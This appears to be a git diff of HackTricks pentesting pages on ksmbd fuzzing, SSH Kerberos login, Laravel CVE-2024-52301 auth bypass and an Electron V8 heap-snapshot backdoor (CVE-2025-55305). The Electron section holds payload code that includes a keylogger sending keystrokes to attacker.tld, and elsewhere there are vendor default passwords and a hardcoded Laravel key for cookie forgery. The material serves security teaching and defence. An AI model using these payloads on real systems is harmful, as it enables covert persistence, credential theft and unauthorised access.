## Grammar-Driven SMB2 Generation (Valid PDUs)
|
||||
Translate the Microsoft Open Specifications SMB2 structures into a fuzzer grammar so your generator produces structurally valid PDUs, which systematically reach dispatchers and IOCTL handlers.
|
||||
|
||||
Example (SMB2 IOCTL request):
|
||||
|
||||
```
|
||||
smb2_ioctl_req {
|
||||
Header_Prefix SMB2Header_Prefix
|
||||
Command const[0xb, int16]
|
||||
Header_Suffix SMB2Header_Suffix
|
||||
StructureSize const[57, int16]
|
||||
Reserved const[0, int16]
|
||||
CtlCode union_control_codes
|
||||
PersistentFileId const[0x4, int64]
|
||||
VolatileFileId const[0x0, int64]
|
||||
InputOffset offsetof[Input, int32]
|
||||
InputCount bytesize[Input, int32]
|
||||
MaxInputResponse const[65536, int32]
|
||||
OutputOffset offsetof[Output, int32]
|
||||
OutputCount len[Output, int32]
|
||||
MaxOutputResponse const[65536, int32]
|
||||
Flags int32[0:1]
|
||||
Reserved2 const[0, int32]
|
||||
Input array[int8]
|
||||
Output array[int8]
|
||||
} [packed]
|
||||
```
|
||||
|
||||
This style forces correct structure sizes/offsets and dramatically improves coverage versus blind mutation.
|
||||
|
||||
---
|
||||
|
||||
## Directed Fuzzing With focus_areas
|
||||
Use syzkaller’s experimental focus_areas to overweight specific functions/files that currently have weak coverage. Example JSON:
|
||||
|
||||
```json
|
||||
{
|
||||
"focus_areas": [
|
||||
{"filter": {"functions": ["smb_check_perm_dacl"]}, "weight": 20.0},
|
||||
{"filter": {"files": ["^fs/smb/server/"]}, "weight": 2.0},
|
||||
{"weight": 1.0}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
This helps construct valid ACLs that hit arithmetic/overflow paths in smbacl.c. For instance, a malicious Security Descriptor with an oversized dacloffset reproduces an integer-overflow.
|
||||
|
||||
Reproducer builder (minimal Python):
|
||||
|
||||
```python
|
||||
def build_sd():
|
||||
import struct
|
||||
sd = bytearray(0x14)
|
||||
sd[0x00] = 0x00; sd[0x01] = 0x00
|
||||
struct.pack_into('<H', sd, 0x02, 0x0001)
|
||||
struct.pack_into('<I', sd, 0x04, 0x78)
|
||||
struct.pack_into('<I', sd, 0x08, 0x00)
|
||||
struct.pack_into('<I', sd, 0x0C, 0x10000)
|
||||
struct.pack_into('<I', sd, 0x10, 0xFFFFFFFF) # dacloffset
|
||||
while len(sd) < 0x78:
|
||||
sd += b'A'
|
||||
sd += b"\x01\x01\x00\x00\x00\x00\x00\x00" # minimal DACL
|
||||
sd += b"\xCC" * 64
|
||||
return bytes(sd)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Breaking Coverage Plateaus With ANYBLOB
|
||||
syzkaller’s anyTypes (ANYBLOB/ANYRES) allow collapsing complex structures into blobs that mutate generically. Seed a new corpus from public SMB pcaps and convert payloads into syzkaller programs calling your pseudo-syscall (e.g., syz_ksmbd_send_req):
|
||||
|
||||
```bash
|
||||
# Extract SMB payloads to JSON
|
||||
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
|
||||
```
|
||||
|
||||
```python
|
||||
import json, os
|
||||
os.makedirs("corpus", exist_ok=True)
|
||||
|
||||
with open("packets.json") as f:
|
||||
data = json.load(f)
|
||||
# adjust indexing to your tshark JSON structure
|
||||
packets = [e["_source"]["layers"]["tcp.payload"] for e in data]
|
||||
|
||||
for i, pkt in enumerate(packets):
|
||||
pdu = pkt[0]
|
||||
pdu_size = len(pdu) // 2 # hex string length → bytes
|
||||
with open(f"corpus/packet_{i:03d}.txt", "w") as f:
|
||||
f.write(
|
||||
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
|
||||
)
|
||||
```
|
||||
|
||||
This jump-starts exploration and can immediately trigger UAFs (e.g., in ksmbd_sessions_deregister) while lifting coverage a few percent.
|
||||
|
||||
---
|
||||
|
||||
## Sanitizers: Beyond KASAN
|
||||
- KASAN remains the primary detector for heap bugs (UAF/OOB).
|
||||
- KCSAN often yields false positives or low-severity data races in this target.
|
||||
- UBSAN/KUBSAN can catch declared-bounds mistakes that KASAN misses due to array-index semantics. Example:
|
||||
|
||||
```c
|
||||
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
|
||||
struct smb_sid {
|
||||
__u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
|
||||
__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
|
||||
} __attribute__((packed));
|
||||
```
|
||||
|
||||
Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught by UBSAN’s declared-bounds checks.
|
||||
|
||||
---
|
||||
|
||||
## Throughput and Parallelism Notes
|
||||
- A single fuzzer process (shared auth/state) tends to be significantly more stable for ksmbd and still surfaces races/UAFs thanks to syzkaller’s internal async executor.
|
||||
- With multiple VMs, you can still hit hundreds of SMB commands/second overall. Function-level coverage around ~60% of fs/smb/server and ~70% of smb2pdu.c is attainable, though state-transition coverage is under-represented by such metrics.
|
||||
|
||||
---
|
||||
|
||||
## Practical Checklist
|
||||
- Enable durable handles, leases, multi-channel, oplocks, and VFS objects in ksmbd.
|
||||
- Allow guest and map-to-guest; accept NTLMv2. Patch out credit limits and raise max connections for fuzzer stability.
|
||||
- Build a stateful harness that caches SessionId/TreeID/FileIDs and chains create → ioctl → close.
|
||||
- Use a grammar for SMB2 PDUs to maintain structural validity.
|
||||
- Use focus_areas to overweight weakly-covered functions (e.g., smbacl.c paths like smb_check_perm_dacl).
|
||||
- Seed with ANYBLOB from real pcaps to break plateaus; pack seeds with syz-db for reuse.
|
||||
- Run with KASAN + UBSAN; triage UBSAN declared-bounds reports carefully.
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
- Doyensec – ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html
|
||||
- syzkaller: https://github.com/google/syzkaller
|
||||
- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4
|
||||
- Async executor change (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5
|
||||
- syz-db: https://github.com/google/syzkaller/tree/master/tools/syz-db
|
||||
- KASAN: https://docs.kernel.org/dev-tools/kasan.html
|
||||
- UBSAN/KUBSAN: https://docs.kernel.org/dev-tools/ubsan.html
|
||||
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
|
||||
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
|
||||
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
|
||||
- Background reading: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -144,10 +144,31 @@ Some systems have known flaws in the random seed used to generate cryptographic
|
||||
|
||||
You should look here in order to search for valid keys for the victim machine.
|
||||
|
||||
### Kerberos
|
||||
### Kerberos / GSSAPI SSO
|
||||
|
||||
**crackmapexec** using the `ssh` protocol can use the option `--kerberos` to **authenticate via kerberos**.\
|
||||
For more info run `crackmapexec ssh --help`.
|
||||
If the target SSH server supports GSSAPI (for example Windows OpenSSH on a domain controller), you can authenticate using your Kerberos TGT instead of a password.
|
||||
|
||||
Workflow from a Linux attacker host:
|
||||
|
||||
```bash
|
||||
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
|
||||
sudo ntpdate <dc.fqdn>
|
||||
|
||||
# 2) Generate a krb5.conf for the target realm (optional, but handy)
|
||||
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
|
||||
sudo cp krb5.conf /etc/krb5.conf
|
||||
|
||||
# 3) Obtain a TGT for the user
|
||||
kinit <user>
|
||||
klist
|
||||
|
||||
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
|
||||
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
|
||||
```
|
||||
|
||||
Notes:
|
||||
- If you connect to the wrong name (e.g., short host, alias, or wrong order in `/etc/hosts`), you may get: "Server not found in Kerberos database" because the SPN does not match.
|
||||
- `crackmapexec ssh --kerberos` can also use your ccache for Kerberos auth.
|
||||
|
||||
## Default Credentials
|
||||
|
||||
@ -155,7 +176,7 @@ For more info run `crackmapexec ssh --help`.
|
||||
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc, device | apc |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||
| D-Link | admin, user | private, admin, user |
|
||||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||||
@ -296,7 +317,7 @@ debug1: Next authentication method: password
|
||||
|
||||
Review the SSH server configuration is necessary to check that only expected\
|
||||
methods are authorized. Using the verbose mode on the client can help to see\
|
||||
the effectiveness of the configuration.
|
||||
the effectiveness of the configuration.
|
||||
|
||||
### Config files
|
||||
|
||||
@ -377,6 +398,8 @@ The common lesson is that any deviation from the RFC-mandated state transitions
|
||||
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
|
||||
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
|
||||
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
- [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
|
||||
|
@ -104,6 +104,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
|
||||
- [**Werkzeug**](werkzeug.md)
|
||||
- [**Wordpress**](wordpress.md)
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
- [**Sitecore**](sitecore/index.html)
|
||||
|
||||
_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\
|
||||
If the web application is using any well known **tech/platform listed before** or **any other**, don't forget to **search on the Internet** new tricks (and let me know!).
|
||||
@ -179,7 +180,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**.
|
||||
|
||||
- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc)
|
||||
- **Add "\[]", "]]", and "\[\["** in **cookie values** and **parameter** values to create errors
|
||||
- **Add "\[]", "]]", and "\[["** in **cookie values** and **parameter** values to create errors
|
||||
- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
|
||||
- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE
|
||||
|
||||
@ -215,7 +216,7 @@ Information about SSL/TLS vulnerabilities:
|
||||
|
||||
Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible.
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
|
||||
@ -310,7 +311,7 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri
|
||||
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.
|
||||
|
||||
@ -427,5 +428,3 @@ Entry_12:
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -479,8 +479,124 @@ npm install
|
||||
npm start
|
||||
```
|
||||
|
||||
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
|
||||
Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electron’s integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR.
|
||||
|
||||
Key points
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
|
||||
- Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
|
||||
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
|
||||
- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
|
||||
|
||||
Generating a malicious snapshot without building Chromium
|
||||
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
|
||||
|
||||
Example minimal payload (prove execution by forcing a crash)
|
||||
```js
|
||||
// Build snapshot from this payload
|
||||
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
// Replace the application’s v8_context_snapshot.bin with the generated file
|
||||
|
||||
const orig = Array.isArray;
|
||||
|
||||
// Use Array.isArray as a ubiquitous gadget
|
||||
Array.isArray = function () {
|
||||
// Executed whenever the app calls Array.isArray
|
||||
throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
|
||||
Isolate-aware payload routing (run different code in main vs. renderer)
|
||||
- Main process detection: Node-only globals like process.pid, process.binding(), or process.dlopen are present in the main process isolate.
|
||||
- Browser/renderer detection: Browser-only globals like alert are available when running in a document context.
|
||||
|
||||
Example gadget that probes main-process Node capabilities once
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
|
||||
Array.isArray = function() {
|
||||
// Defer until we land in main (has Node process)
|
||||
try {
|
||||
if (!process || !process.pid) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
} catch (_) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
|
||||
// Run once
|
||||
if (!globalThis._invoke_lock) {
|
||||
globalThis._invoke_lock = true;
|
||||
console.log('[payload] isArray hook started ...');
|
||||
|
||||
// Capability probing in main
|
||||
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
|
||||
process.exit(0);
|
||||
}
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
|
||||
Renderer/browser-context data theft PoC (e.g., Slack)
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
Array.isArray = function() {
|
||||
// Wait for a browser context
|
||||
try {
|
||||
if (!alert) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
} catch (_) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
|
||||
if (!globalThis._invoke_lock) {
|
||||
globalThis._invoke_lock = true;
|
||||
setInterval(() => {
|
||||
window.onkeydown = (e) => {
|
||||
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
|
||||
}
|
||||
}, 1000);
|
||||
}
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
|
||||
Operator workflow
|
||||
1) Write payload.js that clobbers a common builtin (e.g., Array.isArray) and optionally branches per isolate.
|
||||
2) Build the snapshot without Chromium sources:
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) Overwrite the target application’s snapshot file(s):
|
||||
- v8_context_snapshot.bin (always used)
|
||||
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
|
||||
4) Launch the application; the gadget executes whenever the chosen builtin is used.
|
||||
|
||||
Notes and considerations
|
||||
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls.
|
||||
- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
|
||||
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
|
||||
|
||||
Detection and mitigations
|
||||
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
|
||||
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
|
||||
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
|
||||
|
||||
## **References**
|
||||
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||
- [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots)
|
||||
- [electron/mksnapshot](https://github.com/electron/mksnapshot)
|
||||
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
|
||||
- [Loki C2](https://github.com/boku7/Loki/)
|
||||
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
||||
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically_local-attacks-in-chromes-threat-model)
|
||||
|
||||
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||
|
@ -89,8 +89,6 @@ curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https:
|
||||
```
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Mass APP_KEY discovery via cookie brute-force
|
||||
|
||||
Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline.
|
||||
@ -104,6 +102,38 @@ Key findings of the research published by Synacktiv (2024-2025):
|
||||
The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
|
||||
|
||||
|
||||
## CVE-2024-52301 – HTTP argv/env override → auth bypass
|
||||
|
||||
When PHP’s `register_argc_argv=On` (typical on many distros), PHP exposes an `argv` array for HTTP requests derived from the query string. Recent Laravel versions parsed these “CLI-like” args and honored `--env=<value>` at runtime. This allows flipping the framework environment for the current HTTP request just by appending it to any URL:
|
||||
|
||||
- Quick check:
|
||||
- Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working.
|
||||
|
||||
- Impact example (business logic trusting a special env):
|
||||
- If the app contains branches like `if (app()->environment('preprod')) { /* bypass auth */ }`, you can authenticate without valid creds by sending the login POST to:
|
||||
- `POST /login?--env=preprod`
|
||||
|
||||
- Notes:
|
||||
- Works per-request, no persistence.
|
||||
- Requires `register_argc_argv=On` and a vulnerable Laravel version that reads argv for HTTP.
|
||||
- Useful primitive to surface more verbose errors in “debug” envs or to trigger environment-gated code paths.
|
||||
|
||||
- Mitigations:
|
||||
- Disable `register_argc_argv` for PHP-FPM/Apache.
|
||||
- Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to `app()->environment()` in production routes.
|
||||
|
||||
Minimal exploitation flow (Burp):
|
||||
|
||||
```http
|
||||
POST /login?--env=preprod HTTP/1.1
|
||||
Host: target
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
...
|
||||
email=a@b.c&password=whatever&remember=0xdf
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Laravel Tricks
|
||||
|
||||
### Debugging mode
|
||||
@ -196,9 +226,9 @@ def encrypt(string):
|
||||
|
||||
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
|
||||
key = base64.b64decode(app_key)
|
||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||||
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
|
||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||||
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
|
||||
```
|
||||
|
||||
### Laravel Deserialization RCE
|
||||
@ -223,7 +253,8 @@ Another deserialization: [https://github.com/ambionics/laravel-exploits](https:/
|
||||
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
|
||||
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
|
||||
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
@ -0,0 +1,222 @@
|
||||
# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
